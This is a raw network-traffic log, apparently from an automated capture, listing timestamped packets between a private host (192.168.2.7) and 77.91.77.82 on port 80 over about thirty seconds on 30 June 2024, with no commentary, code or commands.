Jun 30, 2024 10:24:05.538654089 CEST	57490	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:05.543422937 CEST	80	57491	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:06.235409021 CEST	80	57491	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:06.235596895 CEST	57491	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:06.238503933 CEST	57491	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:06.238830090 CEST	57492	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:06.243643045 CEST	80	57492	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:06.243753910 CEST	57492	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:06.244121075 CEST	80	57491	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:06.244143009 CEST	57492	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:06.244385004 CEST	57491	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:06.249202967 CEST	80	57492	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:06.956496954 CEST	80	57492	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:06.956581116 CEST	57492	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.075510979 CEST	57492	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.075850010 CEST	57493	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.080583096 CEST	80	57492	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:07.080616951 CEST	80	57493	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:07.080645084 CEST	57492	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.080672979 CEST	57493	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.080869913 CEST	57493	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.085582972 CEST	80	57493	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:07.768933058 CEST	80	57493	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:07.768989086 CEST	57493	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.771723032 CEST	57493	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.772082090 CEST	57494	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.777033091 CEST	80	57493	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:07.777106047 CEST	57493	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.777112961 CEST	80	57494	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:07.777192116 CEST	57494	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.777590036 CEST	57494	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:07.782638073 CEST	80	57494	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:08.469356060 CEST	80	57494	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:08.469563007 CEST	57494	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:08.577176094 CEST	57494	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:08.577474117 CEST	57495	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:08.582501888 CEST	80	57494	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:08.582557917 CEST	57494	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:08.582571030 CEST	80	57495	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:08.582633972 CEST	57495	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:08.582868099 CEST	57495	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:08.587588072 CEST	80	57495	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:09.305809021 CEST	80	57495	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:09.308378935 CEST	57495	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:09.311683893 CEST	57495	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:09.312118053 CEST	57496	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:09.316890955 CEST	80	57496	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:09.316917896 CEST	80	57495	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:09.316997051 CEST	57495	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:09.317203045 CEST	57496	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:09.317203045 CEST	57496	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:09.321948051 CEST	80	57496	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:10.037487984 CEST	80	57496	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:10.037734032 CEST	57496	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:10.153320074 CEST	57496	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:10.153640032 CEST	57497	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:10.318128109 CEST	80	57497	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:10.318281889 CEST	57497	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:10.318507910 CEST	80	57496	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:10.318624973 CEST	57496	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:10.319219112 CEST	57497	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:10.324273109 CEST	80	57497	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:11.040285110 CEST	80	57497	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:11.040519953 CEST	57497	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.045790911 CEST	57497	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.046080112 CEST	57498	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.050863981 CEST	80	57498	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:11.050951004 CEST	57498	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.050991058 CEST	80	57497	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:11.051069975 CEST	57497	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.051311970 CEST	57498	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.056021929 CEST	80	57498	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:11.742285013 CEST	80	57498	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:11.742400885 CEST	57498	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.856415033 CEST	57498	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.856839895 CEST	57499	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.862592936 CEST	80	57498	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:11.862621069 CEST	80	57499	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:11.862730980 CEST	57498	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.862736940 CEST	57499	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.862973928 CEST	57499	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:11.867774963 CEST	80	57499	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:12.558808088 CEST	80	57499	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:12.558876991 CEST	57499	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:12.561677933 CEST	57499	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:12.562051058 CEST	57500	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:12.566864014 CEST	80	57500	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:12.566905022 CEST	80	57499	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:12.566942930 CEST	57500	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:12.566960096 CEST	57499	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:12.567150116 CEST	57500	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:12.571939945 CEST	80	57500	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:13.273740053 CEST	80	57500	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:13.273792982 CEST	57500	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:13.391225100 CEST	57500	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:13.391619921 CEST	57501	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:13.399276972 CEST	80	57500	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:13.399296045 CEST	80	57501	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:13.399333000 CEST	57500	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:13.399395943 CEST	57501	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:13.399741888 CEST	57501	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:13.407752991 CEST	80	57501	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:14.119560003 CEST	80	57501	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:14.119677067 CEST	57501	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:14.123253107 CEST	57501	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:14.123703003 CEST	57502	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:14.128568888 CEST	80	57502	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:14.128817081 CEST	80	57501	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:14.128818989 CEST	57502	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:14.128972054 CEST	57502	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:14.128995895 CEST	57501	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:14.133816004 CEST	80	57502	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:14.819350958 CEST	80	57502	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:14.819416046 CEST	57502	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:14.939341068 CEST	57502	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:14.940130949 CEST	57503	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:15.132013083 CEST	80	57503	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:15.132136106 CEST	57503	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:15.132425070 CEST	57503	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:15.132713079 CEST	80	57502	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:15.132769108 CEST	57502	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:15.137273073 CEST	80	57503	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:15.830543995 CEST	80	57503	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:15.832175970 CEST	57503	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:15.835855961 CEST	57504	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:15.836319923 CEST	57503	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:15.841101885 CEST	80	57504	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:15.841219902 CEST	57504	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:15.842242002 CEST	80	57503	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:15.842271090 CEST	57504	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:15.845966101 CEST	57503	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:15.848026991 CEST	80	57504	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:16.533334017 CEST	80	57504	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:16.533504963 CEST	57504	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:16.637720108 CEST	57504	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:16.638356924 CEST	57505	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:16.643014908 CEST	80	57504	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:16.643110037 CEST	80	57505	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:16.644891977 CEST	57505	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:16.644896030 CEST	57504	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:16.645157099 CEST	57505	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:16.649950027 CEST	80	57505	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:17.328454018 CEST	80	57505	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:17.328520060 CEST	57505	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:17.333765984 CEST	57505	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:17.334160089 CEST	57506	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:17.339004993 CEST	80	57506	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:17.339070082 CEST	57506	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:17.339361906 CEST	80	57505	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:17.339397907 CEST	57506	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:17.339411020 CEST	57505	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:17.344273090 CEST	80	57506	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:18.033108950 CEST	80	57506	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:18.033420086 CEST	57506	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:18.137767076 CEST	57506	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:18.138257980 CEST	57507	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:18.143078089 CEST	80	57506	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:18.143094063 CEST	80	57507	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:18.143954039 CEST	57506	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:18.144076109 CEST	57507	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:18.144179106 CEST	57507	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:18.150872946 CEST	80	57507	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:18.965902090 CEST	80	57507	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:18.965981007 CEST	57507	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.064955950 CEST	57507	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.066026926 CEST	57508	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.070913076 CEST	80	57508	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:19.071178913 CEST	57508	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.071939945 CEST	57508	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.076791048 CEST	80	57508	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:19.078327894 CEST	80	57507	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:19.078408957 CEST	57507	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.772264004 CEST	80	57508	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:19.777352095 CEST	57508	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.888360023 CEST	57508	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.888364077 CEST	57509	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.893335104 CEST	80	57509	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:19.894349098 CEST	80	57508	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:19.894500017 CEST	57508	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.894507885 CEST	57509	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.897386074 CEST	57509	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:19.902373075 CEST	80	57509	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:20.612261057 CEST	80	57509	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:20.612639904 CEST	57509	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:20.616511106 CEST	57510	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:20.616511106 CEST	57509	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:20.621454954 CEST	80	57510	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:20.622111082 CEST	80	57509	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:20.622138977 CEST	57510	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:20.622476101 CEST	57510	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:20.622476101 CEST	57509	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:20.627279043 CEST	80	57510	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:21.330823898 CEST	80	57510	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:21.330946922 CEST	57510	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:21.552154064 CEST	57510	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:21.552553892 CEST	57511	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:21.557169914 CEST	80	57510	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:21.557219028 CEST	57510	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:21.557349920 CEST	80	57511	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:21.557410002 CEST	57511	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:21.557929039 CEST	57511	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:21.562728882 CEST	80	57511	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:22.266603947 CEST	80	57511	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:22.266830921 CEST	57511	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:22.270356894 CEST	57511	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:22.270356894 CEST	57512	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:22.275197983 CEST	80	57512	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:22.275580883 CEST	80	57511	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:22.275681019 CEST	57511	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:22.275681019 CEST	57512	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:22.276243925 CEST	57512	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:22.281044960 CEST	80	57512	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:22.972193003 CEST	80	57512	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:22.974384069 CEST	57512	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.091231108 CEST	57512	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.091604948 CEST	57513	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.099272013 CEST	80	57512	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:23.099347115 CEST	57512	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.099376917 CEST	80	57513	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:23.099517107 CEST	57513	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.099646091 CEST	57513	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.108381033 CEST	80	57513	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:23.802251101 CEST	80	57513	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:23.804604053 CEST	57513	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.807503939 CEST	57513	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.808343887 CEST	57514	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.813122034 CEST	80	57513	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:23.813482046 CEST	80	57514	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:23.813584089 CEST	57514	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.813584089 CEST	57513	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.813750982 CEST	57514	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:23.818654060 CEST	80	57514	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:24.508676052 CEST	80	57514	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:24.508862019 CEST	57514	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:24.621632099 CEST	57514	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:24.622111082 CEST	57515	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:24.626795053 CEST	80	57514	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:24.626935959 CEST	80	57515	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:24.626945019 CEST	57514	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:24.627063990 CEST	57515	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:24.627234936 CEST	57515	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:24.631993055 CEST	80	57515	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:25.334105015 CEST	80	57515	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:25.334176064 CEST	57515	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:25.338527918 CEST	57515	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:25.339037895 CEST	57516	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:25.343957901 CEST	80	57516	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:25.344019890 CEST	57516	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:25.344172955 CEST	57516	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:25.344594002 CEST	80	57515	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:25.344635963 CEST	57515	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:25.349091053 CEST	80	57516	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:26.054264069 CEST	80	57516	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:26.054441929 CEST	57516	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.170339108 CEST	57516	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.170345068 CEST	57517	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.176109076 CEST	80	57517	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:26.176238060 CEST	57517	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.176500082 CEST	57517	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.176510096 CEST	80	57516	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:26.176759958 CEST	57516	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.181679964 CEST	80	57517	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:26.909523010 CEST	80	57517	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:26.909584045 CEST	57517	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.913958073 CEST	57517	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.914428949 CEST	57518	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.919133902 CEST	80	57517	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:26.919188976 CEST	57517	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.919208050 CEST	80	57518	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:26.919275045 CEST	57518	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.919619083 CEST	57518	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:26.924454927 CEST	80	57518	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:27.631020069 CEST	80	57518	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:27.631092072 CEST	57518	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:27.747363091 CEST	57518	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:27.747536898 CEST	57519	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:27.752393961 CEST	80	57519	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:27.752521992 CEST	57519	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:27.752578020 CEST	80	57518	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:27.753331900 CEST	57519	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:27.753338099 CEST	57518	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:27.758204937 CEST	80	57519	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:28.469397068 CEST	80	57519	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:28.469531059 CEST	57519	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:28.472507954 CEST	57519	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:28.472634077 CEST	57520	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:28.478192091 CEST	80	57519	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:28.478825092 CEST	80	57520	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:28.478849888 CEST	57519	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:28.484503984 CEST	57520	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:28.486323118 CEST	57520	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:28.491143942 CEST	80	57520	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:29.213865995 CEST	80	57520	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:29.213922977 CEST	57520	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:29.327006102 CEST	57520	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:29.327517986 CEST	57521	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:29.332259893 CEST	80	57520	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:29.332288027 CEST	80	57521	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:29.332314968 CEST	57520	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:29.332401991 CEST	57521	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:29.332672119 CEST	57521	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:29.337456942 CEST	80	57521	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:30.016179085 CEST	80	57521	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:30.021059036 CEST	57521	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:30.021059036 CEST	57521	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:30.026345015 CEST	57522	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:30.026567936 CEST	80	57521	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:30.031225920 CEST	80	57522	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:30.031269073 CEST	57521	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:30.034671068 CEST	57522	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:30.034671068 CEST	57522	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:30.039591074 CEST	80	57522	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:33.776546001 CEST	80	57522	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:33.782360077 CEST	57522	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:33.888201952 CEST	57522	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:33.890106916 CEST	57523	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:33.894256115 CEST	80	57522	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:33.895359993 CEST	57522	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:33.896588087 CEST	80	57523	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:33.898519039 CEST	57523	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:33.899494886 CEST	57523	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:33.906364918 CEST	80	57523	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:34.601458073 CEST	80	57523	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:34.602523088 CEST	57523	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:34.612756014 CEST	57523	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:34.616636992 CEST	57524	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:34.618063927 CEST	80	57523	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:34.620516062 CEST	57523	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:34.621798992 CEST	80	57524	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:34.624628067 CEST	57524	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:34.738205910 CEST	57525	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:34.743241072 CEST	80	57525	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:34.743356943 CEST	57525	80	192.168.2.7	77.91.77.82
